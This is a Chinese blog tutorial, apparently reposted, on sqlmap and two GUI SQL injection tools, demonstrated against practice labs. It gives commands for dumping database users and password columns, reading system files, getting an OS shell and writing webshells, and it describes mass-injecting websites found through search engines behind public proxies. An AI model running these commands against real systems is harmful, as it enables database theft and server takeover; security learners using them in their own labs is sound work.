分享一個非常詳細的網(wǎng)絡(luò)安全筆記,是我學(xué)習(xí)網(wǎng)安過程中用心寫的,可以點開以下鏈接獲取:
超詳細的網(wǎng)絡(luò)安全筆記
二,文件包含漏洞詳解
前期準(zhǔn)備(非必需):
(也可以拿自己的環(huán)鏡來玩,我是用pikachu靶場來演示的)
1-1 pikachu靶場安裝
【網(wǎng)路安全 --- pikachu靶場安裝】超詳細的pikachu靶場安裝教程(提供靶場代碼及工具)_網(wǎng)絡(luò)安全_Aini的博客-CSDN博客文章瀏覽閱讀134次,點贊10次,收藏2次。【網(wǎng)路安全 --- pikachu靶場安裝】超詳細的pikachu靶場安裝教程(提供靶場代碼及工具)https://blog.csdn.net/m0_67844671/article/details/133682360?spm=1001.2014.3001.5502
1-2 Burp Suite抓包工具安裝
【網(wǎng)絡(luò)安全 --- Burp Suite抓包工具】學(xué)網(wǎng)安必不可少的Burp Suite工具的安裝及配置-CSDN博客文章瀏覽閱讀123次?!揪W(wǎng)絡(luò)安全 --- Burp Suite抓包工具】學(xué)網(wǎng)安必不可少的Burp Suite工具的安裝及配置https://blog.csdn.net/m0_67844671/article/details/133843910?spm=1001.2014.3001.5502
一,sqlmap 工具的詳細使用
kali系統(tǒng)自帶這個工具,無需安裝直接sqlmap 后面接參數(shù)使用
Windows上參照以下方法安裝即可
1-1?工具下載
1-1-1 sqlmap下載
sqlmap 工具下載地址:
GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover toolAutomatic SQL injection and database takeover tool - GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover toolhttps://github.com/sqlmapproject/sqlmap
下載以后是壓縮包格式,解壓縮以后就有Python2.7環(huán)境就可以直接用了?
百度網(wǎng)盤下載地址(包含所有工具)?
百度網(wǎng)盤 請輸入提取碼百度網(wǎng)盤為您提供文件的網(wǎng)絡(luò)備份、同步和分享服務(wù)??臻g大、速度快、安全穩(wěn)固,支持教育網(wǎng)加速,支持手機端。注冊使用百度網(wǎng)盤即可享受免費存儲空間https://pan.baidu.com/s/1EZxLxEaOuUJ_s03coDcu6g?pwd=8888
提取碼:8888?
這是一款Python2寫的工具,電腦需要安裝Python2.7并配置好環(huán)境變量
1-1-2 安裝Python2.7
百度網(wǎng)盤也提供了,可以直接下載
1、通過 python 官網(wǎng)?找到 2.7 版本進行下載:Welcome to Python.orgThe official home of the Python Programming Languagehttps://www.python.org/Python Release Python 2.7.18 | Python.orgThe official home of the Python Programming Languagehttps://www.python.org/downloads/release/python-2718/?
2,雙擊下載的安裝包進行安裝,按提示操作即可。我的安裝目錄為 D:\ruanjian\Python27
3,接下來配置環(huán)境變量?
此電腦右擊-------屬性--------高級系統(tǒng)設(shè)置 ------- 環(huán)境變量
?找到path雙擊
?
注意一個是Python.exe所在目錄,另一個是scripts目錄,需要配置兩個?
最后確定,退出即可?
如果你電腦只有一個Python,則打開終端輸入 python即可看到如下頁面,說明安裝成功了
因為我電腦裝了三個版本,為了區(qū)分開,我得輸入python2才可以?
到此Python安裝成功?
1-2 工具參數(shù)
1-2-1?-r 參數(shù)
GET請求或者POST請求都可以用-r參數(shù),后面可以跟一個網(wǎng)址或者一個數(shù)據(jù)包?
以pikachu靶場為例:先抓一個數(shù)據(jù)包過來
復(fù)制數(shù)據(jù)包內(nèi)容,在sqlmap.py所在目錄下創(chuàng)建一個1.txt 把內(nèi)容粘貼過去?
?在sqlmap.py目錄下打開終端(按住shift,鼠標(biāo)右擊就可以看到終端),就可以用了
python2 .\sqlmap.py -r .\1.txt
提示已經(jīng)發(fā)現(xiàn)目標(biāo)服務(wù)器用的是MySQL數(shù)據(jù)庫,是否繼續(xù)探測是否用了其他數(shù)據(jù)庫?
既然已經(jīng)發(fā)現(xiàn)是mysql數(shù)據(jù)庫了,就沒必要去探測是不是用了別的數(shù)據(jù)庫了,所以輸入n就可以
下面講到了一個risk和level這兩個參數(shù),說對所有測試是否保持默認等級,先講一下這兩個參數(shù)吧
1-1 --risk=RISK
工作當(dāng)中常用的risk的值為3
python2 .\sqlmap.py -r .\1.txt --risk 3
執(zhí)行測試的風(fēng)險(0-3,默認為1),默認是1會測試大部分的測試語句,2會增加基于事件的測試語句,3會增加or語句的sql注入測試
1-2 --level=LEVEL
工作當(dāng)中常用的level的值為3
?執(zhí)行測試等級(1-5,默認是1),使用-level 參數(shù)且數(shù)值 >= 2的時候也會檢查cookie里面的參數(shù),當(dāng)>=3的時候會檢查User-Agent 和 refer。
python2 .\sqlmap.py -r .\1.txt --level 3 --level 3
所以當(dāng)level值越大,檢測的數(shù)據(jù)項就越多 ,拿出來的數(shù)據(jù)越多,相對應(yīng)的耗費的事件就比較長
所以對于這兩個參數(shù)保持默認即可,如果沒有返回數(shù)據(jù),則可以調(diào)?
已經(jīng)有一些結(jié)果出來了
結(jié)尾提示說‘已經(jīng)檢測到參數(shù)id是可注入的,是否繼續(xù)測試別的參數(shù)’,我們就選擇n,或者你想測試別的參數(shù)能不能注入也可以輸入y繼續(xù)測試
?已經(jīng)有數(shù)據(jù)出來了,SQL注入的類型,數(shù)據(jù)庫,中間件相關(guān)的信息等
?不過還沒有獲取數(shù)據(jù),想要獲取數(shù)據(jù),我們就得繼續(xù)學(xué)習(xí)其他數(shù)據(jù)
1-2-2 -v 參數(shù)
python2 .\sqlmap.py -r .\1.txt -v 5
顯示詳細信息的意思,ERBOSE信息級別:0-6(默認為1)
0:只顯示Python錯誤嚴重的信息
1:同時顯示基本信息和警告信息
2:同時顯示debug信息
3:同時顯示注入的payload
4:同時顯示HTTP請求
5:同時顯示HTTP響應(yīng)頭
6:同時顯示HTTP相應(yīng)頁面
比如說我們設(shè)置個5看看效果 ,顯示的信息肯定會很多
1-2-3 -p 參數(shù)?
python2 .\sqlmap.py -r .\1.txt -level 3 -p id
如果說我們通過 -r 指定的數(shù)據(jù)包中有多個參數(shù),則可以用-p指定對哪個參數(shù)進行SQL注入
(我們現(xiàn)在指定的數(shù)據(jù)包中只有一個參數(shù),所以也只能只能一個參數(shù)了)
我們指定了 -p id 則只針對id進行SQL注入,如果數(shù)據(jù)包中還有別的參數(shù)也可以指定
?1-2-4 --threads
這個參數(shù)不要調(diào)的很大,避免短時間內(nèi)給目標(biāo)服務(wù)器發(fā)大量請求,讓服務(wù)器崩潰
線程數(shù),如果你想讓sqlmap跑的更快,可以更改這個線程數(shù)的數(shù)值,默認為10
比如: --threads 20,跑的可以更快了
我們還可以對所有參數(shù)的默認值進行調(diào)整,我們稱之為sqlmap優(yōu)化,配置文件如下路徑
?1-2-5 -batch-smart
python2 .\sqlmap.py -r .\1.txt -batch-smart
只能判斷測試,只能尋找注入點進行測試
他做的事情很多,如果發(fā)現(xiàn)注入點給你自動進行注入,獲取數(shù)據(jù),不過效率不高,一般很少使用
數(shù)據(jù)庫連接用戶都查出來了 ,下面提示要不要嘗試爆破,我們可以嘗試爆破一下
?然后及時各種一頓操作猛如虎,發(fā)大量請求開始破解
這個智能指令會把數(shù)據(jù)庫扒一遍,而且會把數(shù)據(jù)結(jié)果輸出到文件中
sqlmap/output/dump文件夾中,沒記錯的話按日期存儲的
1-2-6? -mobile 參數(shù)
python2 .\sqlmap.py -r .\1.txt -mobile
模擬測試手機的環(huán)境站點,用的比較少,如果有個網(wǎng)站只允許手機訪問,那么我們就可以用這個參數(shù)來模擬手機
每一次發(fā)包的時候把請求頭User-Agent改成這些手機,從而模擬手機的數(shù)據(jù)包?
1-2-7 -m 參數(shù)
-m 是批量注入,比如現(xiàn)在有多個數(shù)據(jù)包,可以通過-m參數(shù)來批量注入
一般都是通過搜索引擎找到哦啊多個網(wǎng)站記錄下來,然后通過-m參數(shù)來對這些網(wǎng)站批量注入?
比如我們現(xiàn)在準(zhǔn)備多個網(wǎng)址,放到2.txt中
python2 .\sqlmap.py -m .\2.txt
?
上面就是常用的參數(shù),接下來介紹一些別的參數(shù)?
1-2-7 其他參數(shù)
--dbs: #?會獲取所有的數(shù)據(jù)庫 //sqlmap會自動的探測web應(yīng)用后端的數(shù)據(jù)庫類型
--current-user: ##大多數(shù)數(shù)據(jù)庫中可檢測到數(shù)據(jù)庫管理系統(tǒng)當(dāng)前用戶
--current-db:##當(dāng)前連接數(shù)據(jù)庫名
--is-dba:##判斷當(dāng)前的用戶是否為管理員
--users:#?列出數(shù)據(jù)庫所有所有用戶
7-1 --dbs?
python2 .\sqlmap.py -r .\1.txt --dbs
7-2 --current-db?
python2 .\sqlmap.py -r .\1.txt --current-db
7-3? --current-user
python2 .\sqlmap.py -r .\1.txt --current-user
7-4 --is-dba
python2 .\sqlmap.py -r .\1.txt --is-dba
7-5 --users
python2 .\sqlmap.py -r .\1.txt --users
7-6 -tables -D?
獲取表名
-D 指定數(shù)據(jù)庫
python2 .\sqlmap.py -r .\1.txt --tables -D pikachu
?7-7?--columns -T 'xx'? -D 'xx'?
python2 .\sqlmap.py -r .\1.txt --columns -T users -D pikachu
獲取字段名
-T 指定表名
-D 指定數(shù)據(jù)庫名
7-8 -T? 'xx'? -C? 'xx'? -D? 'xx'
python2 .\sqlmap.py -r .\1.txt -C username,password -T users -D pikachu
讀取字段內(nèi)容
-T 指定表名
-C 指定字段名
-D 指定庫名
提示結(jié)果已經(jīng)輸出到了文件當(dāng)中 ,C盤按照提示的目錄去找一下
7-9?--file-read
自己試一下,我是win2003搭建的靶場,這命令不太靈
python2 .\sqlmap.py -r .\1.txt --file-read /etc/password
7-10?--os-shell
這個是有前提條件的
1. mysql開啟了secure_file_priv=""的配置 ---- 如何開啟前面講過了
2. 要知道網(wǎng)站代碼的真實物理路徑 ---------- 需要信息收集,通過別的方法來直到真實路徑
3. 物理路徑具備寫入權(quán)限 ----------- 要不然木馬寫不進去
4. 最好是mysql的root用戶,這個條件非必須,但是有最好
假設(shè)我們知道了真實路徑 C:\tools\phpstudy\PHPTutorial\WWW?
python2 .\sqlmap.py -r .\1.txt --os-shell
pikachu是PHP開發(fā)的,我們選四?
讓我們提供網(wǎng)站的路徑,給了幾個選項,第一個就是用sqlmap本身的字段去破解真實路徑
第二個讓我們自己提供,第三個讓我們指定一個爆破字典?
?我們就選2,把真實路徑輸入進去
就這樣getshell成功?
7-11?–proxy-file
自己參考一下下面格式
python2 .\sqlmap.py -r .\1.txt -proxy-file .\2.txt
2.txt 文件內(nèi)容如下
## 文件內(nèi)容如下:
http://192.168.18.100:82
http://192.168.18.101:82
http://192.168.18.102:82
http://192.168.18.103:82
## 指令:
sqlmap -u http://192.168.18.26:82/sqlserver/1.aspx?xxser=1 -proxy-file 1.txt
## 代理ip我們可以去一些免費的網(wǎng)站找,比如:西祠代理和快代理
7-12?-proxy 代理鏈
自己參考一下下面格式
sqlmap -u http://192.168.18.26:82/sqlserver/1.aspx?xxser=1 -proxy http://192.168.18.100:82
## 快代理:
sqlmap -u http://192.168.18.26:82/sqlserver/1.aspx?xxser=1 -proxy http://183.21.81.188:41825
7-13?--force-ssl 查詢SSL證書
自己參考一下下面格式
sqlmap -u https://192.168.18.26:82/sqlserver/1.aspx?xxser=1 --force-ssl
7-14?--file-write 寫webshell
自己參考一下下面格式
指令: --file-write "c:/2.txt” --file-dest “C:/php/htdocs/sql.php” -v 1
--file-write "c:/2.txt” --file-dest “C:\phpStudy\PHPTutorial\WWW\xx.php” -v 1
二,穿山甲
(需要工具或者靶場環(huán)境請留言,工具靶場等我晚點上傳到網(wǎng)盤上)
以凡諾企業(yè)網(wǎng)站管理系統(tǒng)這個靶場為例,進行演示,安裝靶場請參考下面博客:
【網(wǎng)絡(luò)安全 ---- 靶場搭建】凡諾企業(yè)網(wǎng)站管理系統(tǒng)靶場詳細搭建過程(asp網(wǎng)站,練習(xí)sql注入)-CSDN博客【網(wǎng)絡(luò)安全 ---- 靶場搭建】凡諾企業(yè)網(wǎng)站管理系統(tǒng)靶場詳細搭建過程(asp網(wǎng)站,練習(xí)sql注入)https://blog.csdn.net/m0_67844671/article/details/133696909
我們發(fā)現(xiàn)新聞中心這里存在注入點
工具下載下來以后,打開穿山甲文件夾
工具就長這樣,把存在注入點的網(wǎng)址復(fù)制過來??
我專門寫過一篇博客,就是對這個凡諾企業(yè)系統(tǒng)網(wǎng)站進行手動SQL注入,鏈接如下
【網(wǎng)絡(luò)安全-SQL注入】SQL注入----一篇文章教你access數(shù)據(jù)庫SQL注入以及注入點利用。SQL注入【3】-CSDN博客本篇文章以凡諾企業(yè)網(wǎng)站管理系統(tǒng)為例,講解了access數(shù)據(jù)庫是如何進行SQL注入的,以及注入點如何利用,如何判斷查詢字段個數(shù),如果用聯(lián)合查詢爆出數(shù)據(jù)庫數(shù)據(jù)等;【網(wǎng)絡(luò)安全-SQL注入】SQL注入----一篇文章教你access數(shù)據(jù)庫SQL注入以及注入點利用。SQL注入【3】;https://blog.csdn.net/m0_67844671/article/details/133469076?spm=1001.2014.3001.5502
我們知道這是Access數(shù)據(jù)庫,id是個整數(shù)類型,設(shè)置好了以后就開始?
讓我們選擇獲取哪些信息,比如數(shù)據(jù)庫路徑,網(wǎng)站根路徑,驅(qū)動信息等
我們選擇所有,點擊開始?
已經(jīng)停止了,看到stopped表示停止了,點擊獲取數(shù)據(jù)?
?點擊獲取表
?獲取出來幾個表了,我們選中以后可以繼續(xù)獲取列,獲取數(shù)據(jù)
?可以點擊all獲取所有數(shù)據(jù)
?列信息已經(jīng)獲取了,
?先選中列,點擊獲取數(shù)據(jù)開始獲取數(shù)據(jù)庫數(shù)據(jù)
?
工具差不多就講到這里,還是sqlmap功能比較強大,平時sqlmap用的多?
三,蘿卜頭
工具下載下來以后
還是以凡諾企業(yè)管理系統(tǒng)化為例
輸入網(wǎng)址,Database選擇MsAccess 直接開始analyze就可以
可以看到下面已經(jīng)有info消息了
點擊tables 然后 GetDBs可以獲取數(shù)據(jù)庫,繼續(xù)GetTables可以獲取表,GetCumns可以獲取列,GetDate獲取數(shù)據(jù),還有別的功能,可以研究研究文章來源:http://www.zghlxwxcb.cn/news/detail-717491.html
?
文章來源地址http://www.zghlxwxcb.cn/news/detail-717491.html
到了這里,關(guān)于【網(wǎng)絡(luò)安全-sql注入(5)】sqlmap以及幾款自動化sql注入工具的詳細使用過程(提供工具)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!